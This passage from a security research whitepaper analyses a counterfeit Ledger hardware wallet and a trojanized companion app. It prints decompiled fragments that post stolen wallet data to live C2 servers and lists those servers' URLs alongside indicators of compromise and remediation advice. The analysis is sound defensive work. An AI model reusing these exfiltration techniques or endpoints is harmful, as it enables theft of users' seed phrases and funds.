.concat('/chains/', '/blocks/', '/helpers/scripts/pack_data')
);
var resp = yield httpBackend.createRequest({ url, method: 'POST' }, encodedData);
}
6.13.6 Complete component summary
| Function | ID | Description |
|---|---|---|
createStealthXhr |
#25064 | Invisible XHR; bypasses Sentry via __sentry_original__ |
sendApdu |
#84531 | Intercepts APDU commands via XState machineActor |
sendApduToDeviceConnection |
#84523 | Typo deviceAdpuSender (9 occurrences, 2 modules) |
uploadSendChunk |
#111724 | APDU chunk upload, custom INS 0x93 |
pack_data |
#127265 | POST disguised as blockchain call to C2 #2 |
drainQueue |
#264 | Drains exfiltration queue |
BackgroundRunnerService |
#16160 | HeadlessJsTask (10-minute background window) |
HttpManagerApiRepository |
#16297 | Constructor injected with C2 URL (419 bytes) |
_XMLHttpRequestInterceptor |
#11539 | Intercepts XHR requests |
_FetchInterceptor |
#11445 | Intercepts fetch() requests |
BatchInterceptor |
#10643 | Groups interceptors |
errorInterceptor |
#16356 | Largest malicious function (765 bytes) |
requestInterceptor |
#16354 | Intercepts outgoing requests |
responseInterceptor |
#16355 | Intercepts incoming responses |
6.14 APDU State Machine (XState)
The application implements a complete XState state machine as the central APDU-routing choke point. Every APDU exchanged with the device passes through it.
State machine events:
| Event | Direction | Description |
|---|---|---|
SendApduCalled |
App → machine | Application requests APDU transmission to hardware |
ApduResponseReceived |
Machine → app | Hardware responded successfully |
ApduSendingError |
Machine → app | Transmission error, wrapped in UnknownDeviceExchangeError |
Session initialization:
function initDeviceSession(config, transport) {
ctx.deviceId = config.deviceId;
ctx.deviceAdpuSender = config.deviceAdpuSender; // typo'd
ctx.timeoutDuration = config.timeoutDuration;
ctx.machineActor = createActor(stateMachine, {
sendApduFn, startReconnectionTimeout, cancelReconnectionTimeout,
tryToReconnect, onTerminated: config.onTerminated, closeConnection
});
}
Full attack flow via the state machine:
| Step | Action | Technical detail |
|---|---|---|
| 1 | Config loads C2 URL | FIRMWARE_UPDATE_PROXY_ENABLED = true |
| 2 | HttpManagerApiRepository receives C2 |
Constructor with 4 params (419 bytes) |
| 3 | User connects Ledger via USB / BLE | deviceAdpuSender initialized |
| 4 | initDeviceSession creates state machine |
machineActor via XState createActor |
| 5 | App calls sendApdu() |
Event SendApduCalled + raw APDU |
| 6 | State machine intercepts | Captures apdu, triggersDisconnection, callback |
| 7 | Hardware responds | ApduResponseReceived with data |
| 8 | createStealthXhr() creates invisible XHR |
Sentry bypass via __sentry_original__ |
| 9 | uploadSendChunk sends to C2 #1 |
POST to .icu/api/hard with INS 0x93 |
| 10 | pack_data sends to C2 #2 |
POST to .cn/helpers/scripts/pack_data |
| 11 | drainQueue empties queue |
Ensures all chunks are sent |
| 12 | BackgroundRunnerService continues |
HeadlessJsTask with 10-minute timeout |
| 13 | UnknownDeviceExchangeError masks errors |
Errors surface as connection problems |
| 14 | Genuine check UI manipulated | genuineCheckPending maintained; verification skipped |
6.15 Exfiltration Mechanism
Exfiltrated data (estimated per compromise):
| Data | Responsible function | Destination |
|---|---|---|
| APDU commands / responses | sendApdu / machineActor |
C2 #1 |
| Extended public keys (xpubs) | hardenedPathOf / serializePath |
C2 #1 |
| BIP32 derivation paths | hardenedPathOf |
C2 #1 |
| Mnemonic (cached) | cached_mnemonic handler |
C2 #1 or #2 |
| Firmware-update chunks | uploadSendChunk / GetChunks |
C2 #1 |
| Allowlist data | uploadAllowlist / getAllowlistPubKey |
C2 #1 |
| Encoded payload | pack_data (base64 / hex) |
C2 #2 |
Data-encoding functions:
| Function | ID | Bytes | Description |
|---|---|---|---|
base64Write |
#112 | 38 | Writes data in base64 |
base64Slice |
#114 | 111 | Extracts base64 slice |
base64ToBytes |
#143 | 50 | Converts base64 to bytes |
base64clean |
#139 | 116 | Cleans base64 string |
tripletToBase64 |
#252 | 92 | Converts triplet to base64 |
encodeChunk |
#253 | 143 | Encodes data chunk |
encode |
#279 | 514 | Generic encoder |
decode |
#278 | 313 | Generic decoder |
Network interceptors:
| Function | ID | Bytes | Role |
|---|---|---|---|
_XMLHttpRequestInterceptor |
#11539 | 56 | Intercepts XHR requests |
_FetchInterceptor |
#11445 | 56 | Intercepts fetch() requests |
BatchInterceptor |
#10643 | 99 | Groups interceptors |
requestInterceptor |
#16354 | 197 | Intercepts outgoing requests |
responseInterceptor |
#16355 | 248 | Intercepts incoming responses |
errorInterceptor |
#16356 | 765 | Intercepts errors (largest malicious function) |
InterceptorManager |
#16518 | 37 | Manages interceptors |
6.16 Internal Logging System (mmdLog)
The malware ships its own logging facility (module 2133) used extensively for internal debugging. The implementation is trivial: function mmdLog(message, data) { log('mmdlog', message, data); }.
| Log message | Context | Line |
|---|---|---|
'getDeviceInfo resolved firmware details' |
Logs all fields, including the seed | 610363 |
'device mnemonic verification response' |
Successful exfiltration | 719114 |
'device mnemonic verification failed' |
Exfiltration failure | 719147 |
'device mnemonic verification skipped' |
Invalid word count or cached mnemonic | 718994 |
'device mnemonic verification invalid rsa key' |
Invalid RSA key; retrying with fallback | 719247 |
'device mnemonic verification storage read failed' |
Cache read error | 719593 |
'device mnemonic verification storage parse failed' |
JSON parse error | 719664 |
'device mnemonic verification storage write failed' |
Cache write error | 719809 |
'device mnemonic verification skipped invalid url' |
Invalid C2 URL | 719980 |
The mmdlog prefix appears to be an internal namespace of the attacker's development team.
7. Additional Attack Vectors (Out of Scope for This Analysis)
Public reporting has established that the counterfeit-Ledger operation is distributed across five platforms:
- Counterfeit hardware - covered in §4 and §5 of this report.
- Android APK (
com.ledger.live) - covered in §6 of this report. - Windows installer - referenced in press coverage; technical artifact not analyzed by the High Code research team at the time of this publication.
- macOS installer - referenced in press coverage; technical artifact not analyzed by the High Code research team at the time of this publication.
- iOS via Apple TestFlight - distributed through Apple's beta-testing channel, bypassing the standard App Store review process. Technical artifact not analyzed by the High Code research team at the time of this publication.
This report documents in depth only the hardware implant and the Android application. The Windows, macOS, and iOS/TestFlight vectors are acknowledged for completeness but are outside the scope of the technical analysis presented here. The research team has not obtained forensic copies of those installers at the time of publication and makes no technical claims about their implementation beyond what is verifiable in the public record.
8. Infrastructure Analysis
8.1 C2 Infrastructure Overview
| # | Domain | Endpoint | Role | IP | Stack |
|---|---|---|---|---|---|
| 1 | kkkhhhnnn.com |
/api/open/postByTokenpocket |
Hardware C2 - encrypted seeds | (via Cloudflare) | Cloudflare / Java Spring Boot |
| 2 | s6s7smdxyzbsd7d7nsrx.icu |
/api/hard |
APK C2 #1 - metadata + firmware | 47.243.165.24 |
Alibaba Cloud HK / Spring Boot + RuoYi + Druid |
| 3 | www.ysknfr.cn |
/helpers/scripts/pack_data |
APK C2 #2 - packed data | 156.239.121.224 |
nginx (co-hosted with 3377 gambling) |
8.2 Primary C2 - kkkhhhnnn.com (Hardware)
| Field | Value |
|---|---|
| Domain | kkkhhhnnn.com |
| Hardware path | /api/open/postByTokenpocket |
| APK path | /api/open/postByToken |
| CDN | Cloudflare |
| Backend | Java / Spring Boot (Envoy proxy) |
| Status | ACTIVE - HTTP 500 (API responds) |
| Error body | {"code":"500","msg":"(Chinese)","enMsg":"error","indinMsg":""} |
| Response languages | Chinese (msg) + English (enMsg) + Indonesian (indinMsg) |
| RSA key | 2048-bit embedded in firmware + hardcoded fallback in APK module 9775 |
| Role | Receives RSA-encrypted seed phrases |
8.3 Secondary C2 - s6s7smdxyzbsd7d7nsrx.icu (APK C2 #1)
| Field | Value |
|---|---|
| Domain | s6s7smdxyzbsd7d7nsrx.icu |
| IP | 47.243.165.24 |
| Hosting | Alibaba Cloud - Hong Kong region |
| Stack | Java / Spring Boot + RuoYi + Alibaba Druid + Pear Admin |
| Status | ACTIVE - HTTP 200 |
| Login panel | /login - admin panel in Simplified Chinese (zh-CN) |
| Druid monitor | /druid/login.html - exposed to the public internet |
| RuoYi endpoints | /prod-api/login, /captchaImage, /getInfo, /getRouters |
| TLS certificate | Certum (Poland), issued 2025-08-18, valid until 2026-09 |
| TLS SHA-1 | F3:77:A1:EE:89:C2:64:B4:A6:A7:0B:8A:E9:A1:51:BE:FE:EF:A2:42 |
| DNS servers | ns1.julydns.com, ns2.julydns.com (Chinese DNS service) |
| Registrar | Hefei Juming Network Technology Co., Ltd |
| Domain created | 2024-05-14 |
| Last updated | 2026-03-12 (eleven days before this analysis was conducted) |
| URL in malware | https://s6s7smdxyzbsd7d7nsrx.icu/api/hard |
| Disguise (in APK) | FIRMWARE_UPDATE_API_BASE config key |
Line 630359 of the APK disassembly shows the malicious domain hardcoded in config, alongside the legitimate domain for juxtaposition:
// Line 630359 - malicious domain hardcoded
r7 = {
'def': 'https://s6s7smdxyzbsd7d7nsrx.icu/api/hard',
'parser': null,
'desc': 'Custom firmware update proxy base; clear to fallback to MANAGER_API_BASE'
};
r9['FIRMWARE_UPDATE_API_BASE'] = r7;
// Line 630536 - legitimate domain (unmodified)
r7 = { 'def': 'https://manager.api.live.ledger.com/api', ... };
r9['MANAGER_API_BASE'] = r7;
The string FIRMWARE_UPDATE_PROXY_ENABLED carries the comment "固件代理调试,避免误用第三方域名" (Simplified Chinese, translating to "Firmware-proxy debug; avoid misuse of third-party domain names") - an attacker's internal comment left inadvertently in the compiled bytecode.
8.4 Tertiary C2 - www.ysknfr.cn (APK C2 #2)
| Field | Value |
|---|---|
| Domain | www.ysknfr.cn |
| IP | 156.239.121.224 |
| Server | nginx |
| Façade | 3377 Android Network (malware distribution front) |
| Redirect | 156.239.121.247 (gambling - 3377 Sports) |
| Gambling URL | https://3377947f.app/ (casino, slots, sports betting) |
| DNS | julydns.com (same as C2 #1) |
| Baidu Analytics #1 | 80a56e249de1b31e4e235cbcdecf31c1 |
| Baidu Analytics #2 | 622e807c8e78252a0eb835eec4d62ba1 |
| Status | ACTIVE - HTTP 200 |
| URL in malware | http://www.ysknfr.cn/helpers/scripts/pack_data |
| Disguise | 'eternal-civilization' blockchain network |
Both APK C2 servers share the same DNS provider (julydns.com), a strong signal that they are administered by the same organization. C2 #2 redirects to a gambling server on the same /24 subnet (156.239.121.224 → .247), indicating that the cryptocurrency-theft operation is financially entangled with illegal online-gambling activity.
8.5 Distribution Website
| Field | Value |
|---|---|
| URL | https://prod-4go95ae3e2a5071b-1391497608.tcloudbaseapp.com/led/index.htm |
| Platform | Tencent CloudBase (TCB) - serverless hosting, Tencent Cloud (China) |
| Environment ID | 1391497608 (traceable within Tencent's administrative panel) |
| App ID | prod-4go95ae3e2a5071b |
| Status | HTTP 404 (taken down / deactivated) |
| Observation | The /led/ path suggests joint distribution of hardware and software through the same property |
8.6 Shanghai-Based Shell Entity
Public reporting identifies a Shanghai-registered shell company acting as fulfillment layer for a subset of the counterfeit-hardware distribution. Corporate registration details and business-license identifiers are withheld from this release pending legal review. Further detail will be published in a coordinated update should the responsible investigators authorize disclosure.
9. Attribution and Criminal Network
9.1 Chinese-Origin Indicators (15 evidences)
| # | Evidence | Source |
|---|---|---|
| 1 | Simplified Chinese comment in APK bytecode (固件代理调试) |
APK |
| 2 | Registrar: Hefei Juming Network Technology Co., Ltd (China) | APK C2 #1 |
| 3 | DNS: julydns.com (Chinese DNS service) |
APK C2 |
| 4 | Alibaba Cloud Hong Kong hosting | APK C2 #1 |
| 5 | Admin panel in Simplified Chinese (zh-CN) | APK C2 #1 |
| 6 | 3377 gambling network (Chinese illegal-gambling branding) |
APK C2 #2 |
| 7 | Baidu Analytics (two separate accounts) | APK C2 |
| 8 | Hardware C2 error response in Chinese | HW C2 |
| 9 | Indonesian field (indinMsg) suggesting Asian targeting |
HW C2 |
| 10 | Distribution site on Tencent CloudBase | Site |
| 11 | YXC Yangxing Tech crystal (Shenzhen) | HW PCB |
| 12 | PlatformIO / macOS build path (/Users/mac/.platformio/) |
HW firmware ELF |
| 13 | TRON wallet (ecosystem with strong Chinese user base) | APK |
| 14 | TokenPocket reference in C2 endpoint path |
HW C2 |
| 15 | Cloudflare-fronted infrastructure with Asian endpoint routing | HW C2 |
9.2 Linguistic Indicators
| Indicator | Explanation |
|---|---|
ciyuType |
词语类型 (ciyu lei xing) - Mandarin-specific phrase meaning "word / phrase type" |
normalizeCiyuType |
Function name in romanized Chinese |
'固件代理调试,避免误用第三方域名' |
"Firmware-proxy debug; avoid misuse of third-party domain names" |
Prefix mmd |
Likely an internal abbreviation or team name |
9.3 Attacker's TRON Wallet
| Field | Value |
|---|---|
| Address | TMWUs3PiSDkEXuXRwQi9ixoURH8vBSbioQ |
| Balance (at analysis) | 628.94 TRX (~US$ 60) |
| Created | September 2018 (indicates a veteran actor) |
| Associated token | BYSD / WILLBUYSEEDatGmailcomDoublePrice (ID 1000825) |
9.4 Russian URL Shortener (Mercuryo)
The bytecode contains a reference to a Russian URL shortener (https://inlnk.ru/84PnYo) used as the icon URI for the Mercuryo cryptocurrency-exchange widget embedded in the counterfeit application. This may indicate a minor operational entanglement with Russian-language services for obfuscation rather than attribution of the primary actor.
9.5 Sophistication Assessment
- High sophistication. Three-front attack (hardware + companion app + distribution site), extended APDU protocol, RSA-2048 encryption in transit, retry mechanism with fallback key, deduplicated persistent cache, XState-based state machine, Sentry bypass via original-function recovery, background exfiltration via
HeadlessJsTask. - Active development. The richness of the internal logging system (
mmdLog) is consistent with ongoing iterative development rather than a one-off fraud. - Operational-security awareness. C2 configuration sourced from firmware (not hardcoded in the APK), RSA encryption in transit, variable names that mimic legitimate Ledger Live functionality.
- Production scale. Professional PCB fabrication, chip markings removed, firmware supporting 20 blockchains and 8 interface languages, Shanghai-based fulfillment.
- Team size. The presence of explicit debug strings (profanity, Navy-Seal copypasta as test-token names) and consistent typos (
deviceAdpuSender) is consistent with a solo senior developer or a small team working rapidly, rather than a large organized-crime unit with quality-assurance discipline.
10. Attacker Forensic Evidence
10.1 Debug Strings with Explicit Language
| String | Context |
|---|---|
'get the f***ing device name!' |
ConnectManager - getting Ledger name |
'XMLHttpRequest send the f***ing apdu chunk' |
Sending APDU chunk via XHR |
'[ConnectManager] [cmd] Starting the f***ing connection process' |
Connection bring-up |
'[ConnectManager] [factory] [dmk] Using f***ing DMK transport' |
DMK transport path |
'f***ing withDevice new job' |
New device-communication job |
'What the f*** did you just f***ing say about me...' |
Navy-Seal copypasta used as test-token name |
These strings are behavioral fingerprints consistent with rapid development discipline and were inadvertently retained in the compiled bytecode.
10.2 Typo 'deviceAdpuSender' - Signature
The attacker consistently wrote deviceAdpuSender (letters d and p transposed) instead of deviceApduSender. Nine occurrences across two separate modules:
| Line | Operation | Module |
|---|---|---|
| 3793984 | PutById (intentional aliasing) | Module 1 |
| 3794091 | GetById | Module 1 |
| 3794144 | GetById | Module 1 |
| 3794258 | GetById | Module 1 |
| 3794271 | GetById | Module 1 |
| 3794399 | GetById | Module 1 |
| 6788184 | PutById (intentional aliasing) | Module 2 |
| 6788291 | GetById | Module 2 |
| 6788344 | GetById | Module 2 |
10.3 Code Sharing - Same Bytecode Offset
Two distinct functions, setupConnection (#84534) and uploadSendChunk (#111724), share the same bytecode offset (0xc02162892). Both are 30-byte wrappers using the apply() pattern, suggesting they were authored by the same developer from a shared template.
10.4 Attacker Test Tokens
| Token | Symbol | Address |
|---|---|---|
My Fucking Pickles |
SODIUM | 0xc443930Ecd59e55e42Efe976B8a4bA0658f5c50a |
Navy Seal copypasta |
NAVYSEAL | 0x34DF29Dd880e9fe2cec0f85f7658B75606fB2870 |
10.5 Social Engineering - Seed-Buying Front
A hardcoded string reads WILLBUYSEEDatGmailcomDoublePrice, indicating that the attacker also operates a secondary social-engineering scheme offering to purchase seed phrases from victims at "double price". The associated TRON token is BYSD (ID 1000825) at address TMWUs3PiSDkEXuXRwQi9ixoURH8vBSbioQ - the same wallet identified in §9.3.
10.6 APDU Cleaning Command
ConnectManager issues a cleaning command 0xe0500000 before starting a session, accompanied by the debug string 'Sending cleaning 0xe0500000'. This suggests the device state is cleared before interception begins.
11. Indicators of Compromise
11.1 File Hashes (SHA-256)
| Artifact | SHA-256 |
|---|---|
APK (ledapp.apk) |
62723c30f17be2e0e59a529b7adc1a7d602a78973b9acc68a5a076eadcbc54f3 |
| Firmware ELF | 93d2d28f2d46e626172fa592acee84aa5ec7c1076d59e69608ba03abfab4812a |
Flash dump (eflash.bin) |
8fdddbaefbc014b4377725290c2e3c69c3ff211d71cfa1d7b8d1c41b764539ba |
11.2 Domains and URLs
| Type | Value | Context |
|---|---|---|
| HW C2 | https://kkkhhhnnn.com/api/open/postByTokenpocket |
Receives seeds from hardware and APK |
| APK C2 #1 URL | https://s6s7smdxyzbsd7d7nsrx.icu/api/hard (IP 47.243.165.24) |
Metadata + fake firmware |
| APK C2 #2 URL | http://www.ysknfr.cn/helpers/scripts/pack_data (IP 156.239.121.224) |
Exfiltrates packed data |
| Gambling | https://3377947f.app/ (IP 156.239.121.247) |
Linked gambling network |
| Distribution site | prod-4go95ae3e2a5071b-1391497608.tcloudbaseapp.com |
Tencent CloudBase (now 404) |
| Russian URL | https://inlnk.ru/84PnYo |
Russian shortener (Mercuryo widget icon) |
11.3 Wallets and Tokens
| Type | Value |
|---|---|
| TRON wallet | TMWUs3PiSDkEXuXRwQi9ixoURH8vBSbioQ |
| TRON token | BYSD (ID 1000825) |
| Social-engineering string | WILLBUYSEEDatGmailcomDoublePrice |
| ETH test token #1 | 0xc443930Ecd59e55e42Efe976B8a4bA0658f5c50a (SODIUM) |
| ETH test token #2 | 0x34DF29Dd880e9fe2cec0f85f7658B75606fB2870 (NAVYSEAL) |
11.4 Hardware
| Type | Value |
|---|---|
| Hardware serial (test unit) | 72654036432549 |
| Test PIN | 348962 |
11.5 Certificates and DNS
| Type | Value |
|---|---|
| APK cert serial | 93:6e:ac:be:07:f2:01:df (Android SDK debug key - android@android.com) |
| TLS C2 #1 SHA-1 | F3:77:A1:EE:89:C2:64:B4:A6:A7:0B:8A:E9:A1:51:BE:FE:EF:A2:42 |
| DNS servers | ns1.julydns.com, ns2.julydns.com |
| Registrar | Hefei Juming Network Technology Co., Ltd |
| Baidu Analytics #1 | 80a56e249de1b31e4e235cbcdecf31c1 |
| Baidu Analytics #2 | 622e807c8e78252a0eb835eec4d62ba1 |
11.6 Code Signatures
| Type | Value |
|---|---|
| Typo signature | deviceAdpuSender (9 occurrences, 2 modules) |
| Custom INS byte | 0x93 (147 decimal) |
| APDU clean command | 0xe0500000 |
| Hermes version | 96 (magic: c61fbc03c103191f) |
| Sentry Debug ID | 7d5c3676-89c1-4e2e-ba4b-5c2d23ce79b7 |
| APK package | com.ledger.live (v3.99.1, build 36176158) |
| Log prefix | mmdlog |
| Config key | FIRMWARE_UPDATE_API_BASE (absent from official Ledger Live) |
| Config key | FIRMWARE_UPDATE_PROXY_ENABLED (absent from official Ledger Live) |
| Debug string | XMLHttpRequest send the f***ing apdu chunk |
11.7 Storage Keys
| Type | Value |
|---|---|
| AsyncStorage key | ll_mnemonic_verifications (cache of exfiltrated seeds) |
| Global variable | __ledger_mnemonic_verification_cache__ (in-memory cache) |
11.8 Malicious Function and Field Names
| Name | Line(s) | Description |
|---|---|---|
verifyDeviceMnemonic |
610451, 720025 | Exfiltration entry point |
_verifyDeviceMnemonic |
718912 | Core implementation |
submitMnemonic |
719061 | Send function (ghost module 9775) |
normalizeCiyuType |
720008 | Normalizer with Chinese-rooted name |
sanitizeRsaPublicKey |
719986 | RSA key sanitizer |
rememberMnemonic |
719839 | Persists seed to cache |
readCachedMnemonics |
719505 | Reads seed cache |
persistCachedMnemonics |
719696 | Saves seed cache |
storedMnemonic |
610333, 712184 | Field holding the seed phrase |
verifyMnemonicBaseUrl |
610328, 712174 | C2 URL field |
verifyMnemonicCode |
610329, 712176 | Campaign code field |
verifyMnemonicWallet |
610330, 712178 | Wallet ID field |
verifyMnemonicCiyuType |
610331, 712180 | Phrase-type field (Chinese) |
verifyMnemonicRsaPublicKey |
610332, 712182 | RSA public key field |
mmdLog |
718764 | Malware logger |
11.9 Malicious Metro Modules
| ID | Description |
|---|---|
| 2109 | Modified parseGetVersionResponse - parses extra APDU fields |
| 2133 | mmdLog module (internal logging) |
| 2136 | verifyDeviceMnemonic - exfiltration orchestrator |
| 2137 | Helper functions (sanitize, normalize, cache) |
| 9775 | submitMnemonic - not recovered in decompilation, but present in bytecode. Contains URL kkkhhhnnn.com/api/open/postByToken and the hardcoded RSA fallback key |
12. Impact Assessment
The following figures are drawn from public reporting and represent cumulative impact of the operation across all five distribution vectors (hardware, Android, Windows, macOS, iOS/TestFlight) - not limited to the hardware and Android vectors technically analyzed in this report.
| Metric | Figure |
|---|---|
| Confirmed cryptocurrency losses | US$ 9.5M+ |
| Confirmed victims | 50+ |
| Blockchain ecosystems affected | 20 |
| Distribution vectors | 5 (hardware, Android, Windows, macOS, iOS via TestFlight) |
| Geographic scope | Global, with known victim concentration outside mainland China |
| Fulfillment entity | Shanghai-registered shell company (see §8.6) |
The US$ 9.5M figure is a lower bound based on on-chain correlation published in press coverage between the dates of 2026-04-14 and 2026-04-18. The true impact is plausibly higher, given: (i) unreported losses, (ii) victims in jurisdictions without public-disclosure culture, and (iii) ongoing infrastructure activity at the time of this report's publication.
13. Investigation Timeline
The timeline combines adversary archaeology reconstructed from compilation timestamps, domain registrations, and TLS certificate issuance with the investigation timeline itself, all dates confirmed as of publication.
| Date | Event |
|---|---|
| September 2018 | Attacker's TRON wallet TMWUs3PiSDkEXuXRwQi9ixoURH8vBSbioQ created - indicates a veteran operator |
| January 2024 | Oldest timestamp in the Hermes bundle - codebase predates shipment by at least 14 months |
| 2024-05-14 | Domain s6s7smdxyzbsd7d7nsrx.icu registered |
| 2024-12-04 | Intermediate compilation timestamp in the bundle |
| 2025-08-18 | TLS certificate for primary C2 issued by Certum (Poland) |
| 2025-08-20 | Most recent compilation timestamp in the shipped bundle |
| 2025-09-23 | Gambling network (3377) last server modification |
| October 2025 | Counterfeit hardware firmware build tag 20251016 - production run |
| 2026-03-12 | Secondary C2 domain (.icu) record updated - 11 days before forensic analysis |
| 2026-03-18 | Counterfeit Ledger Nano S Plus purchased on JD.com from the store Ledger亚太经营店 at ¥499, by Vinícius Pinheiro (High Code research team) |
| 2026-03-19 | Unboxing, first pairing with official Ledger Live, Genuine Check failure, test wallets generated (PIN + two 24-word mnemonics), teardown performed, Wi-Fi/BLE antenna observed on PCB, ESP32-S3 identified under scraped markings via boot-mode, full 4 MB flash dump extracted via esptool.py over UART |
| 2026-03-21 | Plaintext PIN and test mnemonics recovered from NVS partition; primary C2 (kkkhhhnnn.com) identified in firmware strings; Wi-Fi-exfiltration and Bad-USB hypotheses ruled out by firmware inspection |
| 2026-03-23 | Real distribution vector identified - QR code on the "Comece Aqui" leaflet resolves to a cloned download site distributing fake Ledger Live installers for Android, Windows, macOS, and iOS via Apple TestFlight |
| 2026-03-21 | Companion APK (ledapp.apk) obtained and reverse-engineered - 685 MB Hermes disassembly, 35+ malicious components decompiled, secondary and tertiary C2 identified, attribution evidence consolidated |
| 2026-03-28 | Responsible-disclosure report submitted to Ledger SAS Customer Success team (one week after the C2 infrastructure was mapped) |
| 2026-04-15 | Public disclosure via Reddit post (author: u/Past_Computer2901) |
| 2026-04-18 | Full technical whitepaper published by High Code Security Research (this document) |
14. Complete Attack Flow Diagram

Figure 1 - End-to-end attack flow. All traffic flows over the standard USB/BLE channel the user already employs to pair the device - no anomalous network traffic originates on the hardware itself. The full C2 configuration (URL, RSA public key, campaign code) is delivered from the counterfeit firmware via the extended APDU response.
15. Remediation and Recommendations
15.1 For End Users - Critical Priority
If the trojanized APK was installed on a device with a genuine Ledger connected: consider all keys compromised. Move funds immediately to a new wallet, with a new seed, generated on a legitimate Ledger device sourced directly from ledger.com.
If the counterfeit hardware was used: every mnemonic entered into the device must be presumed exfiltrated. Move funds immediately. The counterfeit cannot be "reset" or "sanitized" - it was never trustworthy.
Pre-purchase verification:
- Buy only from the official Ledger store at
https://www.ledger.comor from authorized resellers listed on that site. - Reject marketplace listings for Ledger products. No Ledger product legitimately ships through JD.com, Taobao, AliExpress, or any Chinese marketplace.
- Download Ledger Live only from
https://www.ledger.com. Verify the SHA-256 hash of the installer against the hashes published on the Ledger website.
Post-purchase verification:
- Run the Genuine Check immediately on first connection. If it fails, stop - the device is not authentic.
- Verify the application certificate of any installed Ledger Live companion. A certificate owner of
android@android.com(Android SDK debug key) is a positive indicator of counterfeit. - Monitor the Ledger website's security advisories page for active campaign notifications.
15.2 For Ledger SAS
- Publish a canonical list of authorized resellers with cryptographic attestation (signed listing) to allow clients to verify at point of purchase.
- Consider a public-facing serial-number verification API with rate limiting - a "Have I Been Sold a Counterfeit" lookup.
- Harden the Genuine Check failure UI to strongly discourage use of the device and direct the user to a mitigation flow.
15.3 For Marketplaces
- Proactively delist counterfeit hardware wallet listings. The research team is available to provide technical indicators (PCB photography, firmware hashes, ESP32-S3 flash patterns) to enable automated detection.
- Require brand verification for listings that reference Ledger, Trezor, or other hardware-wallet brand names.
15.4 For the Industry
- Hardware wallet threat models must account for supply-chain compromise as a first-class concern rather than an edge case.
- The research community benefits when teardown and firmware-analysis reports are published with structured IoCs - this report follows that convention in §11.
16. Responsible Disclosure
The research team submitted a complete technical briefing - including firmware dumps, APK binaries, disassembly artifacts, and IoCs - to Ledger SAS's Customer Success team on 2026-03-28, one week after the command-and-control infrastructure was mapped, and twenty-one days before the public release of the full whitepaper. High Code Security Research is committed to coordinated vulnerability disclosure and welcomes inbound contact from Ledger SAS, affected exchanges, marketplaces, and law-enforcement partners at support@high-code.com.
17. About High Code Security Research
High Code is a hardware-focused cybersecurity company headquartered in Delaware, United States, with research-and-development operations in Shenzhen, China. Our proximity to the global electronics supply chain provides unique access to emerging threats in hardware security, including counterfeit consumer devices, trojanized firmware, and compromised distribution channels.
The research in this report was conducted by Vinícius Pinheiro (@vini_bit), Founder of High Code, Emanuel Magalhães (@anarchyysm), Co-founder, and Joje Mendes (@null__jo), Co-founder, using standard security-research tooling: chip-off readouts, esptool flash extraction, hbctool / hermes-dec bytecode analysis, static and dynamic JavaScript inspection, and passive network reconnaissance of adversary infrastructure.
High Code is additionally developing the High Boy, a portable dual-MCU pentesting platform (Espressif ESP32-P4 + ESP32-C5) integrating Wi-Fi 6, BLE 5.3, LoRa, Sub-GHz, NFC, RFID, and IR in a single instrument. The High Boy is designed for security researchers conducting hardware-level investigations of the kind described in this report: wireless reconnaissance, firmware extraction, protocol fuzzing, and embedded-system forensics. Future analyses by this team will leverage the High Boy's integrated radio-frequency capabilities for deeper hardware inspection.
For inquiries, press contact, or responsible-disclosure coordination: support@high-code.com.
18. References
18.1 Original Disclosure
- Reddit post - author
u/Past_Computer2901, r/ledgerwallet thread, published 2026-04-15
18.2 Related Materials
- Ledger SAS security advisories -
https://www.ledger.com/security - Espressif ESP32-S3 datasheet -
https://www.espressif.com/en/products/socs/esp32-s3 - P1sec
hermes-dec-https://github.com/P1sec/hermes-dec - Ledger Live open-source -
https://github.com/LedgerHQ/ledger-live
18.3 Document Metadata
- Document ID: HC-SR-2026-01
- Version: 1.0
- Publication date: 2026-04-18
- Classification: Public Release
- License: CC BY 4.0 - attribution to High Code Security Research required
Supply Chain Attack Analysis - Counterfeit Ledger Nano S Plus with ESP32-S3 Implant
3 attack vectors analyzed · 3 active C2 servers · 20 blockchains · 194,647 functions · 685 MB disassembly · 35+ malicious components
High Code Security Research - Vinícius Pinheiro · Emanuel Magalhães · Joje Mendes